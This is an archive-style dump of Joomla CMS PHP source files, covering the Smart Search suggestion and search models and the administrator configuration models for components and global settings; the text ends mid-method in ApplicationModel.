* * @return array An array of data items. * * @since 2.5 */ public function getItems() { // Get the items. $items = parent::getItems(); // Convert them to a simple array. foreach ($items as $k => $v) { $items[$k] = $v->term; } return $items; } /** * Method to build a database query to load the list data. * * @return DatabaseQuery A database query * * @since 2.5 */ protected function getListQuery() { $user = $this->getCurrentUser(); $groups = ArrayHelper::toInteger($user->getAuthorisedViewLevels()); $lang = Helper::getPrimaryLanguage($this->getState('language')); // Create a new query object. $db = $this->getDatabase(); $termIdQuery = $db->getQuery(true); $termQuery = $db->getQuery(true); // Limit term count to a reasonable number of results to reduce main query join size $termIdQuery->select('ti.term_id') ->from($db->quoteName('#__finder_terms', 'ti')) ->where('ti.term LIKE ' . $db->quote($db->escape(StringHelper::strtolower($this->getState('input')), true) . '%', false)) ->where('ti.common = 0') ->where('ti.language IN (' . $db->quote($lang) . ', ' . $db->quote('*') . ')') ->order('ti.links DESC') ->order('ti.weight DESC'); $termIds = $db->setQuery($termIdQuery, 0, 100)->loadColumn(); // Early return on term mismatch if (!count($termIds)) { return $termIdQuery; } // Select required fields $termQuery->select('DISTINCT(t.term)') ->from($db->quoteName('#__finder_terms', 't')) ->whereIn('t.term_id', $termIds) ->order('t.links DESC') ->order('t.weight DESC'); // Join mapping table for term <-> link relation $mappingTable = $db->quoteName('#__finder_links_terms', 'tm'); $termQuery->join('INNER', $mappingTable . ' ON tm.term_id = t.term_id'); // Join links table $termQuery->join('INNER', $db->quoteName('#__finder_links', 'l') . ' ON (tm.link_id = l.link_id)') ->where('l.access IN (' . implode(',', $groups) . ')') ->where('l.state = 1') ->where('l.published = 1'); return $termQuery; } /** * Method to get a store id based on model the configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id An identifier string to generate the store id. [optional] * * @return string A store id. * * @since 2.5 */ protected function getStoreId($id = '') { // Add the search query state. $id .= ':' . $this->getState('input'); $id .= ':' . $this->getState('language'); // Add the list state. $id .= ':' . $this->getState('list.start'); $id .= ':' . $this->getState('list.limit'); return parent::getStoreId($id); } /** * Method to auto-populate the model state. Calling getState in this method will result in recursion. * * @param string $ordering An optional ordering field. * @param string $direction An optional direction (asc|desc). * * @return void * * @since 2.5 */ protected function populateState($ordering = null, $direction = null) { // Get the configuration options. $app = Factory::getApplication(); $input = $app->getInput(); $params = ComponentHelper::getParams('com_finder'); $user = $this->getCurrentUser(); // Get the query input. $this->setState('input', $input->request->get('q', '', 'string')); // Set the query language if (Multilanguage::isEnabled()) { $lang = Factory::getLanguage()->getTag(); } else { $lang = Helper::getDefaultLanguage(); } $this->setState('language', $lang); // Load the list state. $this->setState('list.start', 0); $this->setState('list.limit', 10); // Load the parameters. $this->setState('params', $params); // Load the user state. $this->setState('user.id', (int) $user->get('id')); } } SearchModel.php 0000644 00000050511 15172657570 0007464 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage com_finder * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Finder\Site\Model; use Joomla\CMS\Factory; use Joomla\CMS\Language\Multilanguage; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\Model\ListModel; use Joomla\CMS\Plugin\PluginHelper; use Joomla\CMS\Uri\Uri; use Joomla\Component\Finder\Administrator\Indexer\Query; use Joomla\String\StringHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Search model class for the Finder package. * * @since 2.5 */ class SearchModel extends ListModel { /** * Context string for the model type * * @var string * @since 2.5 */ protected $context = 'com_finder.search'; /** * The query object is an instance of Query which contains and * models the entire search query including the text input; static and * dynamic taxonomy filters; date filters; etc. * * @var Query * @since 2.5 */ protected $searchquery; /** * Maps each sorting field with a text label. * * @var string[] * * @since 4.3.0 */ protected $sortOrderFieldsLabels = [ 'relevance.asc' => 'COM_FINDER_SORT_BY_RELEVANCE_ASC', 'relevance.desc' => 'COM_FINDER_SORT_BY_RELEVANCE_DESC', 'title.asc' => 'JGLOBAL_TITLE_ASC', 'title.desc' => 'JGLOBAL_TITLE_DESC', 'date.asc' => 'JDATE_ASC', 'date.desc' => 'JDATE_DESC', 'price.asc' => 'COM_FINDER_SORT_BY_PRICE_ASC', 'price.desc' => 'COM_FINDER_SORT_BY_PRICE_DESC', 'sale_price.asc' => 'COM_FINDER_SORT_BY_SALES_PRICE_ASC', 'sale_price.desc' => 'COM_FINDER_SORT_BY_SALES_PRICE_DESC', ]; /** * An array of all excluded terms ids. * * @var array * @since 2.5 */ protected $excludedTerms = []; /** * An array of all included terms ids. * * @var array * @since 2.5 */ protected $includedTerms = []; /** * An array of all required terms ids. * * @var array * @since 2.5 */ protected $requiredTerms = []; /** * Method to get the results of the query. * * @return array An array of Result objects. * * @since 2.5 * @throws \Exception on database error. */ public function getItems() { $items = parent::getItems(); // Check the data. if (empty($items)) { return null; } $results = []; // Convert the rows to result objects. foreach ($items as $rk => $row) { // Build the result object. if (is_resource($row->object)) { $result = unserialize(stream_get_contents($row->object)); } else { $result = unserialize($row->object); } $result->cleanURL = $result->route; // Add the result back to the stack. $results[] = $result; } // Return the results. return $results; } /** * Method to get the query object. * * @return Query A query object. * * @since 2.5 */ public function getQuery() { // Return the query object. return $this->searchquery; } /** * Method to build a database query to load the list data. * * @return \Joomla\Database\DatabaseQuery A database query. * * @since 2.5 */ protected function getListQuery() { // Create a new query object. $db = $this->getDatabase(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'l.link_id, l.object' ) ); $query->from('#__finder_links AS l'); $user = $this->getCurrentUser(); $groups = $this->getState('user.groups', $user->getAuthorisedViewLevels()); $query->whereIn($db->quoteName('l.access'), $groups) ->where('l.state = 1') ->where('l.published = 1'); // Get the current date, minus seconds. $nowDate = $db->quote(substr_replace(Factory::getDate()->toSql(), '00', -2)); // Add the publish up and publish down filters. $query->where('(l.publish_start_date IS NULL OR l.publish_start_date <= ' . $nowDate . ')') ->where('(l.publish_end_date IS NULL OR l.publish_end_date >= ' . $nowDate . ')'); $query->group('l.link_id'); $query->group('l.object'); /* * Add the taxonomy filters to the query. We have to join the taxonomy * map table for each group so that we can use AND clauses across * groups. Within each group there can be an array of values that will * use OR clauses. */ if (!empty($this->searchquery->filters)) { // Convert the associative array to a numerically indexed array. $groups = array_values($this->searchquery->filters); $taxonomies = call_user_func_array('array_merge', array_values($this->searchquery->filters)); $query->join('INNER', $db->quoteName('#__finder_taxonomy_map') . ' AS t ON t.link_id = l.link_id') ->where('t.node_id IN (' . implode(',', array_unique($taxonomies)) . ')'); // Iterate through each taxonomy group. for ($i = 0, $c = count($groups); $i < $c; $i++) { $query->having('SUM(CASE WHEN t.node_id IN (' . implode(',', $groups[$i]) . ') THEN 1 ELSE 0 END) > 0'); } } // Add the start date filter to the query. if (!empty($this->searchquery->date1)) { // Escape the date. $date1 = $db->quote($this->searchquery->date1); // Add the appropriate WHERE condition. if ($this->searchquery->when1 === 'before') { $query->where($db->quoteName('l.start_date') . ' <= ' . $date1); } elseif ($this->searchquery->when1 === 'after') { $query->where($db->quoteName('l.start_date') . ' >= ' . $date1); } else { $query->where($db->quoteName('l.start_date') . ' = ' . $date1); } } // Add the end date filter to the query. if (!empty($this->searchquery->date2)) { // Escape the date. $date2 = $db->quote($this->searchquery->date2); // Add the appropriate WHERE condition. if ($this->searchquery->when2 === 'before') { $query->where($db->quoteName('l.start_date') . ' <= ' . $date2); } elseif ($this->searchquery->when2 === 'after') { $query->where($db->quoteName('l.start_date') . ' >= ' . $date2); } else { $query->where($db->quoteName('l.start_date') . ' = ' . $date2); } } // Filter by language if ($this->getState('filter.language')) { $query->where('l.language IN (' . $db->quote(Factory::getLanguage()->getTag()) . ', ' . $db->quote('*') . ')'); } // Get the result ordering and direction. $ordering = $this->getState('list.ordering', 'm.weight'); $direction = $this->getState('list.direction', 'DESC'); /* * If we are ordering by relevance we have to add up the relevance * scores that are contained in the ordering field. */ if ($ordering === 'm.weight') { // Get the base query and add the ordering information. $query->select('SUM(' . $db->escape($ordering) . ') AS ordering'); } else { /** * If we are not ordering by relevance, we just have to add * the unique items to the set. */ // Get the base query and add the ordering information. $query->select($db->escape($ordering) . ' AS ordering'); } $query->order('ordering ' . $db->escape($direction)); /* * If there are no optional or required search terms in the query, we * can get the results in one relatively simple database query. */ if (empty($this->includedTerms) && $this->searchquery->empty && $this->searchquery->input == '') { // Return the results. return $query; } /* * If there are no optional or required search terms in the query and * empty searches are not allowed, we return an empty query. * If the search term is not empty and empty searches are allowed, * but no terms were found, we return an empty query as well. */ if ( empty($this->includedTerms) && (!$this->searchquery->empty || ($this->searchquery->empty && $this->searchquery->input != '')) ) { // Since we need to return a query, we simplify this one. $query->clear('join') ->clear('where') ->clear('bounded') ->clear('having') ->clear('group') ->where('false'); return $query; } $included = call_user_func_array('array_merge', array_values($this->includedTerms)); $query->join('INNER', $db->quoteName('#__finder_links_terms') . ' AS m ON m.link_id = l.link_id') ->where('m.term_id IN (' . implode(',', $included) . ')'); // Check if there are any excluded terms to deal with. if (count($this->excludedTerms)) { $query2 = $db->getQuery(true); $query2->select('e.link_id') ->from($db->quoteName('#__finder_links_terms', 'e')) ->where('e.term_id IN (' . implode(',', $this->excludedTerms) . ')'); $query->where('l.link_id NOT IN (' . $query2 . ')'); } /* * The query contains required search terms. */ if (count($this->requiredTerms)) { foreach ($this->requiredTerms as $terms) { if (count($terms)) { $query->having('SUM(CASE WHEN m.term_id IN (' . implode(',', $terms) . ') THEN 1 ELSE 0 END) > 0'); } else { $query->where('false'); break; } } } return $query; } /** * Method to get the available sorting fields. * * @return array The sorting field objects. * * @throws \Exception * * @since 4.3.0 */ public function getSortOrderFields() { $sortOrderFields = []; $directions = ['asc', 'desc']; $app = Factory::getApplication(); $params = $app->getParams(); $sortOrderFieldValues = $params->get('shown_sort_order', [], 'array'); if ($params->get('show_sort_order', 0, 'uint') && !empty($sortOrderFieldValues)) { $defaultSortFieldValue = $params->get('sort_order', '', 'cmd'); $queryUri = Uri::getInstance($this->getQuery()->toUri()); // If the default field is not included in the shown sort fields, add it. if (!in_array($defaultSortFieldValue, $sortOrderFieldValues)) { array_unshift($sortOrderFieldValues, $defaultSortFieldValue); } foreach ($sortOrderFieldValues as $sortOrderFieldValue) { foreach ($directions as $direction) { // The relevance has only descending direction. Except if ascending is set in the parameters. if ($sortOrderFieldValue === 'relevance' && $direction === 'asc' && $app->getParams()->get('sort_direction', 'desc') === 'desc') { continue; } $sortOrderFields[] = $this->getSortField($sortOrderFieldValue, $direction, $queryUri); } } } // Import Finder plugins PluginHelper::importPlugin('finder'); // Trigger an event, in case a plugin wishes to change the order fields. $app->triggerEvent('onFinderSortOrderFields', [&$sortOrderFields]); return $sortOrderFields; } /** * Method to generate and return a sorting field * * @param string $value The value based on which the results will be sorted. * @param string $direction The sorting direction ('asc' or 'desc'). * @param Uri $queryUri The uri of the search query. * * @return \stdClass The sorting field object. * * @throws \Exception * * @since 4.3.0 */ protected function getSortField(string $value, string $direction, Uri $queryUri) { $sortField = new \stdClass(); $app = Factory::getApplication(); // We have to clone the query uri. Otherwise the next elements will use the same. $queryUri = clone $queryUri; $queryUri->setVar('o', $value); $currentOrderingDirection = $app->getInput()->getWord('od', $app->getParams()->get('sort_direction', 'desc')); // Validate the sorting direction and add it only if it is different than the set in the params. if (in_array($direction, ['asc', 'desc']) && $direction != $app->getParams()->get('sort_direction', 'desc')) { $queryUri->setVar('od', StringHelper::strtolower($direction)); } $label = ''; if (isset($this->sortOrderFieldsLabels[$value . '.' . $direction])) { $label = Text::_($this->sortOrderFieldsLabels[$value . '.' . $direction]); } $sortField->label = $label; $sortField->url = $queryUri->toString(); $currentSortOrderField = $app->getInput()->getWord('o', $app->getParams()->get('sort_order', 'relevance')); $sortField->active = false; if ($value === StringHelper::strtolower($currentSortOrderField) && $direction === $currentOrderingDirection) { $sortField->active = true; } return $sortField; } /** * Method to get a store id based on model the configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id An identifier string to generate the store id. [optional] * @param boolean $page True to store the data paged, false to store all data. [optional] * * @return string A store id. * * @since 2.5 */ protected function getStoreId($id = '', $page = true) { // Get the query object. $query = $this->getQuery(); // Add the search query state. $id .= ':' . $query->input; $id .= ':' . $query->language; $id .= ':' . $query->filter; $id .= ':' . serialize($query->filters); $id .= ':' . $query->date1; $id .= ':' . $query->date2; $id .= ':' . $query->when1; $id .= ':' . $query->when2; if ($page) { // Add the list state for page specific data. $id .= ':' . $this->getState('list.start'); $id .= ':' . $this->getState('list.limit'); $id .= ':' . $this->getState('list.ordering'); $id .= ':' . $this->getState('list.direction'); } return parent::getStoreId($id); } /** * Method to auto-populate the model state. Calling getState in this method will result in recursion. * * @param string $ordering An optional ordering field. [optional] * @param string $direction An optional direction. [optional] * * @return void * * @since 2.5 */ protected function populateState($ordering = null, $direction = null) { // Get the configuration options. $app = Factory::getApplication(); $input = $app->getInput(); $params = $app->getParams(); $user = $this->getCurrentUser(); $language = $app->getLanguage(); $this->setState('filter.language', Multilanguage::isEnabled()); $request = $input->request; $options = []; // Get the empty query setting. $options['empty'] = $params->get('allow_empty_query', 0); // Get the static taxonomy filters. $options['filter'] = $request->getInt('f', $params->get('f', '')); // Get the dynamic taxonomy filters. $options['filters'] = $request->get('t', $params->get('t', []), 'array'); // Get the query string. $options['input'] = $request->getString('q', $params->get('q', '')); // Get the query language. $options['language'] = $request->getCmd('l', $params->get('l', $language->getTag())); // Set the word match mode $options['word_match'] = $params->get('word_match', 'exact'); // Get the start date and start date modifier filters. $options['date1'] = $request->getString('d1', $params->get('d1', '')); $options['when1'] = $request->getString('w1', $params->get('w1', '')); // Get the end date and end date modifier filters. $options['date2'] = $request->getString('d2', $params->get('d2', '')); $options['when2'] = $request->getString('w2', $params->get('w2', '')); // Load the query object. $this->searchquery = new Query($options, $this->getDatabase()); // Load the query token data. $this->excludedTerms = $this->searchquery->getExcludedTermIds(); $this->includedTerms = $this->searchquery->getIncludedTermIds(); $this->requiredTerms = $this->searchquery->getRequiredTermIds(); // Load the list state. $this->setState('list.start', $input->get('limitstart', 0, 'uint')); $this->setState('list.limit', $input->get('limit', $params->get('list_limit', $app->get('list_limit', 20)), 'uint')); /* * Load the sort ordering. * Currently this is 'hard' coded via menu item parameter but may not satisfy a users need. * More flexibility was way more user friendly. So we allow the user to pass a custom value * from the pool of fields that are indexed like the 'title' field. * Also, we allow this parameter to be passed in either case (lower/upper). */ $order = $input->getWord('o', $params->get('sort_order', 'relevance')); $order = StringHelper::strtolower($order); $this->setState('list.raworder', $order); switch ($order) { case 'date': $this->setState('list.ordering', 'l.start_date'); break; case 'price': $this->setState('list.ordering', 'l.list_price'); break; case 'sale_price': $this->setState('list.ordering', 'l.sale_price'); break; case ($order === 'relevance' && !empty($this->includedTerms)): $this->setState('list.ordering', 'm.weight'); break; case 'title': $this->setState('list.ordering', 'l.title'); break; default: $this->setState('list.ordering', 'l.link_id'); $this->setState('list.raworder'); break; } /* * Load the sort direction. * Currently this is 'hard' coded via menu item parameter but may not satisfy a users need. * More flexibility was way more user friendly. So we allow to be inverted. * Also, we allow this parameter to be passed in either case (lower/upper). */ $dirn = $input->getWord('od', $params->get('sort_direction', 'desc')); $dirn = StringHelper::strtolower($dirn); switch ($dirn) { case 'asc': $this->setState('list.direction', 'ASC'); break; default: $this->setState('list.direction', 'DESC'); break; } // Set the match limit. $this->setState('match.limit', 1000); // Load the parameters. $this->setState('params', $params); // Load the user state. $this->setState('user.id', (int) $user->get('id')); $this->setState('user.groups', $user->getAuthorisedViewLevels()); } } ComponentModel.php 0000644 00000016122 15172725155 0010214 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_config * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Config\Administrator\Model; use Joomla\CMS\Access\Access; use Joomla\CMS\Access\Rules; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\Filesystem\Path; use Joomla\CMS\Form\Form; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\Model\FormModel; use Joomla\CMS\Plugin\PluginHelper; use Joomla\CMS\Table\Table; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Model for component configuration * * @since 3.2 */ class ComponentModel extends FormModel { /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @return void * * @since 3.2 */ protected function populateState() { $input = Factory::getApplication()->getInput(); // Set the component (option) we are dealing with. $component = $input->get('component'); $this->state->set('component.option', $component); // Set an alternative path for the configuration file. if ($path = $input->getString('path')) { $path = Path::clean(JPATH_SITE . '/' . $path); Path::check($path); $this->state->set('component.path', $path); } } /** * Method to get a form object. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return mixed A JForm object on success, false on failure * * @since 3.2 */ public function getForm($data = [], $loadData = true) { $state = $this->getState(); $option = $state->get('component.option'); if ($path = $state->get('component.path')) { // Add the search path for the admin component config.xml file. Form::addFormPath($path); } else { // Add the search path for the admin component config.xml file. Form::addFormPath(JPATH_ADMINISTRATOR . '/components/' . $option); } // Get the form. $form = $this->loadForm( 'com_config.component', 'config', ['control' => 'jform', 'load_data' => $loadData], false, '/config' ); if (empty($form)) { return false; } $lang = Factory::getLanguage(); $lang->load($option, JPATH_BASE) || $lang->load($option, JPATH_BASE . "/components/$option"); return $form; } /** * Method to get the data that should be injected in the form. * * @return array The default data is an empty array. * * @since 4.0.0 */ protected function loadFormData() { $option = $this->getState()->get('component.option'); // Check the session for previously entered form data. $data = Factory::getApplication()->getUserState('com_config.edit.component.' . $option . '.data', []); if (empty($data)) { return $this->getComponent()->getParams()->toArray(); } return $data; } /** * Get the component information. * * @return object * * @since 3.2 */ public function getComponent() { $state = $this->getState(); $option = $state->get('component.option'); // Load common and local language files. $lang = Factory::getLanguage(); $lang->load($option, JPATH_BASE) || $lang->load($option, JPATH_BASE . "/components/$option"); $result = ComponentHelper::getComponent($option); return $result; } /** * Method to save the configuration data. * * @param array $data An array containing all global config data. * * @return boolean True on success, false on failure. * * @since 3.2 * @throws \RuntimeException */ public function save($data) { $table = Table::getInstance('extension'); $context = $this->option . '.' . $this->name; PluginHelper::importPlugin('extension'); // Check super user group. if (isset($data['params']) && !$this->getCurrentUser()->authorise('core.admin')) { $form = $this->getForm([], false); foreach ($form->getFieldsets() as $fieldset) { foreach ($form->getFieldset($fieldset->name) as $field) { if ( $field->type === 'UserGroupList' && isset($data['params'][$field->fieldname]) && (int) $field->getAttribute('checksuperusergroup', 0) === 1 && Access::checkGroup($data['params'][$field->fieldname], 'core.admin') ) { throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED')); } } } } // Save the rules. if (isset($data['params']) && isset($data['params']['rules'])) { if (!$this->getCurrentUser()->authorise('core.admin', $data['option'])) { throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED')); } $rules = new Rules($data['params']['rules']); $asset = Table::getInstance('asset'); if (!$asset->loadByName($data['option'])) { $root = Table::getInstance('asset'); $root->loadByName('root.1'); $asset->name = $data['option']; $asset->title = $data['option']; $asset->setLocation($root->id, 'last-child'); } $asset->rules = (string) $rules; if (!$asset->check() || !$asset->store()) { throw new \RuntimeException($asset->getError()); } // We don't need this anymore unset($data['option']); unset($data['params']['rules']); } // Load the previous Data if (!$table->load($data['id'])) { throw new \RuntimeException($table->getError()); } unset($data['id']); // Bind the data. if (!$table->bind($data)) { throw new \RuntimeException($table->getError()); } // Check the data. if (!$table->check()) { throw new \RuntimeException($table->getError()); } $result = Factory::getApplication()->triggerEvent('onExtensionBeforeSave', [$context, $table, false]); // Store the data. if (in_array(false, $result, true) || !$table->store()) { throw new \RuntimeException($table->getError()); } Factory::getApplication()->triggerEvent('onExtensionAfterSave', [$context, $table, false]); // Clean the component cache. $this->cleanCache('_system'); return true; } } ApplicationModel.php 0000644 00000140534 15172725155 0010522 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_config * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Config\Administrator\Model; use Joomla\CMS\Access\Access; use Joomla\CMS\Access\Rules; use Joomla\CMS\Cache\Exception\CacheConnectingException; use Joomla\CMS\Cache\Exception\UnsupportedCacheException; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\Filesystem\Folder; use Joomla\CMS\Filesystem\Path; use Joomla\CMS\Filter\OutputFilter; use Joomla\CMS\Http\HttpFactory; use Joomla\CMS\Language\Text; use Joomla\CMS\Log\Log; use Joomla\CMS\Mail\Exception\MailDisabledException; use Joomla\CMS\Mail\MailerFactoryAwareInterface; use Joomla\CMS\Mail\MailerFactoryAwareTrait; use Joomla\CMS\Mail\MailTemplate; use Joomla\CMS\MVC\Model\FormModel; use Joomla\CMS\Table\Asset; use Joomla\CMS\Table\Table; use Joomla\CMS\Uri\Uri; use Joomla\CMS\User\UserHelper; use Joomla\Database\DatabaseDriver; use Joomla\Database\ParameterType; use Joomla\Filesystem\File; use Joomla\Registry\Registry; use Joomla\Utilities\ArrayHelper; use PHPMailer\PHPMailer\Exception as phpMailerException; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Model for the global configuration * * @since 3.2 */ class ApplicationModel extends FormModel implements MailerFactoryAwareInterface { use MailerFactoryAwareTrait; /** * Array of protected password fields from the configuration.php * * @var array * @since 3.9.23 */ private $protectedConfigurationFields = ['password', 'secret', 'smtppass', 'redis_server_auth', 'session_redis_server_auth']; /** * Method to get a form object. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return mixed A JForm object on success, false on failure * * @since 1.6 */ public function getForm($data = [], $loadData = true) { // Get the form. $form = $this->loadForm('com_config.application', 'application', ['control' => 'jform', 'load_data' => $loadData]); if (empty($form)) { return false; } return $form; } /** * Method to get the configuration data. * * This method will load the global configuration data straight from * JConfig. If configuration data has been saved in the session, that * data will be merged into the original data, overwriting it. * * @return array An array containing all global config data. * * @since 1.6 */ public function getData() { // Get the config data. $config = new \JConfig(); $data = ArrayHelper::fromObject($config); // Get the correct driver at runtime $data['dbtype'] = $this->getDatabase()->getName(); // Prime the asset_id for the rules. $data['asset_id'] = 1; // Get the text filter data $params = ComponentHelper::getParams('com_config'); $data['filters'] = ArrayHelper::fromObject($params->get('filters')); // If no filter data found, get from com_content (update of 1.6/1.7 site) if (empty($data['filters'])) { $contentParams = ComponentHelper::getParams('com_content'); $data['filters'] = ArrayHelper::fromObject($contentParams->get('filters')); } // Check for data in the session. $temp = Factory::getApplication()->getUserState('com_config.config.global.data'); // Merge in the session data. if (!empty($temp)) { // $temp can sometimes be an object, and we need it to be an array if (is_object($temp)) { $temp = ArrayHelper::fromObject($temp); } $data = array_merge($temp, $data); } // Correct error_reporting value, since we removed "development", the "maximum" should be set instead // @TODO: This can be removed in 5.0 if (!empty($data['error_reporting']) && $data['error_reporting'] === 'development') { $data['error_reporting'] = 'maximum'; } return $data; } /** * Method to validate the db connection properties. * * @param array $data An array containing all global config data. * * @return array|boolean Array with the validated global config data or boolean false on a validation failure. * * @since 4.0.0 */ public function validateDbConnection($data) { // Validate database connection encryption options if ((int) $data['dbencryption'] === 0) { // Reset unused options if (!empty($data['dbsslkey'])) { $data['dbsslkey'] = ''; } if (!empty($data['dbsslcert'])) { $data['dbsslcert'] = ''; } if ((bool) $data['dbsslverifyservercert'] === true) { $data['dbsslverifyservercert'] = false; } if (!empty($data['dbsslca'])) { $data['dbsslca'] = ''; } if (!empty($data['dbsslcipher'])) { $data['dbsslcipher'] = ''; } } else { // Check localhost if (strtolower($data['host']) === 'localhost') { Factory::getApplication()->enqueueMessage(Text::_('COM_CONFIG_ERROR_DATABASE_ENCRYPTION_LOCALHOST'), 'error'); return false; } // Check CA file and folder depending on database type if server certificate verification if ((bool) $data['dbsslverifyservercert'] === true) { if (empty($data['dbsslca'])) { Factory::getApplication()->enqueueMessage( Text::sprintf( 'COM_CONFIG_ERROR_DATABASE_ENCRYPTION_FILE_FIELD_EMPTY', Text::_('COM_CONFIG_FIELD_DATABASE_ENCRYPTION_CA_LABEL') ), 'error' ); return false; } if (!is_file(Path::clean($data['dbsslca']))) { Factory::getApplication()->enqueueMessage( Text::sprintf( 'COM_CONFIG_ERROR_DATABASE_ENCRYPTION_FILE_FIELD_BAD', Text::_('COM_CONFIG_FIELD_DATABASE_ENCRYPTION_CA_LABEL') ), 'error' ); return false; } } else { // Reset unused option if (!empty($data['dbsslca'])) { $data['dbsslca'] = ''; } } // Check key and certificate if two-way encryption if ((int) $data['dbencryption'] === 2) { if (empty($data['dbsslkey'])) { Factory::getApplication()->enqueueMessage( Text::sprintf( 'COM_CONFIG_ERROR_DATABASE_ENCRYPTION_FILE_FIELD_EMPTY', Text::_('COM_CONFIG_FIELD_DATABASE_ENCRYPTION_KEY_LABEL') ), 'error' ); return false; } if (!is_file(Path::clean($data['dbsslkey']))) { Factory::getApplication()->enqueueMessage( Text::sprintf( 'COM_CONFIG_ERROR_DATABASE_ENCRYPTION_FILE_FIELD_BAD', Text::_('COM_CONFIG_FIELD_DATABASE_ENCRYPTION_KEY_LABEL') ), 'error' ); return false; } if (empty($data['dbsslcert'])) { Factory::getApplication()->enqueueMessage( Text::sprintf( 'COM_CONFIG_ERROR_DATABASE_ENCRYPTION_FILE_FIELD_EMPTY', Text::_('COM_CONFIG_FIELD_DATABASE_ENCRYPTION_CERT_LABEL') ), 'error' ); return false; } if (!is_file(Path::clean($data['dbsslcert']))) { Factory::getApplication()->enqueueMessage( Text::sprintf( 'COM_CONFIG_ERROR_DATABASE_ENCRYPTION_FILE_FIELD_BAD', Text::_('COM_CONFIG_FIELD_DATABASE_ENCRYPTION_CERT_LABEL') ), 'error' ); return false; } } else { // Reset unused options if (!empty($data['dbsslkey'])) { $data['dbsslkey'] = ''; } if (!empty($data['dbsslcert'])) { $data['dbsslcert'] = ''; } } } return $data; } /** * Method to save the configuration data. * * @param array $data An array containing all global config data. * * @return boolean True on success, false on failure. * * @since 1.6 */ public function save($data) { $app = Factory::getApplication(); // Try to load the values from the configuration file foreach ($this->protectedConfigurationFields as $fieldKey) { if (!isset($data[$fieldKey])) { $data[$fieldKey] = $app->get($fieldKey, ''); } } // Check that we aren't setting wrong database configuration $options = [ 'driver' => $data['dbtype'], 'host' => $data['host'], 'user' => $data['user'], 'password' => $data['password'], 'database' => $data['db'], 'prefix' => $data['dbprefix'], ]; if ((int) $data['dbencryption'] !== 0) { $options['ssl'] = [ 'enable' => true, 'verify_server_cert' => (bool) $data['dbsslverifyservercert'], ]; foreach (['cipher', 'ca', 'key', 'cert'] as $value) { $confVal = trim($data['dbssl' . $value]); if ($confVal !== '') { $options['ssl'][$value] = $confVal; } } } try { $revisedDbo = DatabaseDriver::getInstance($options); $revisedDbo->getVersion(); } catch (\Exception $e) { $app->enqueueMessage(Text::sprintf('COM_CONFIG_ERROR_DATABASE_NOT_AVAILABLE', $e->getCode(), $e->getMessage()), 'error'); return false; } if ((int) $data['dbencryption'] !== 0 && empty($revisedDbo->getConnectionEncryption())) { if ($revisedDbo->isConnectionEncryptionSupported()) { Factory::getApplication()->enqueueMessage(Text::_('COM_CONFIG_ERROR_DATABASE_ENCRYPTION_CONN_NOT_ENCRYPT'), 'error'); } else { Factory::getApplication()->enqueueMessage(Text::_('COM_CONFIG_ERROR_DATABASE_ENCRYPTION_SRV_NOT_SUPPORTS'), 'error'); } return false; } // Check if we can set the Force SSL option if ((int) $data['force_ssl'] !== 0 && (int) $data['force_ssl'] !== (int) $app->get('force_ssl', '0')) { try { // Make an HTTPS request to check if the site is available in HTTPS. $host = Uri::getInstance()->getHost(); $options = new Registry(); $options->set('userAgent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0'); // Do not check for valid server certificate here, leave this to the user, moreover disable using a proxy if any is configured. $options->set( 'transport.curl', [ CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_PROXY => null, CURLOPT_PROXYUSERPWD => null, ] ); $response = HttpFactory::getHttp($options)->get('https://' . $host . Uri::root(true) . '/', ['Host' => $host], 10); // If available in HTTPS check also the status code. if (!in_array($response->code, [200, 503, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 401], true)) { throw new \RuntimeException(Text::_('COM_CONFIG_ERROR_SSL_NOT_AVAILABLE_HTTP_CODE')); } } catch (\RuntimeException $e) { $data['force_ssl'] = 0; // Also update the user state $app->setUserState('com_config.config.global.data.force_ssl', 0); // Inform the user $app->enqueueMessage(Text::sprintf('COM_CONFIG_ERROR_SSL_NOT_AVAILABLE', $e->getMessage()), 'warning'); } } // Save the rules if (isset($data['rules'])) { $rules = new Rules($data['rules']); // Check that we aren't removing our Super User permission // Need to get groups from database, since they might have changed $myGroups = Access::getGroupsByUser($this->getCurrentUser()->get('id')); $myRules = $rules->getData(); $hasSuperAdmin = $myRules['core.admin']->allow($myGroups); if (!$hasSuperAdmin) { $app->enqueueMessage(Text::_('COM_CONFIG_ERROR_REMOVING_SUPER_ADMIN'), 'error'); return false; } $asset = Table::getInstance('asset'); if ($asset->loadByName('root.1')) { $asset->rules = (string) $rules; if (!$asset->check() || !$asset->store()) { $app->enqueueMessage($asset->getError(), 'error'); return false; 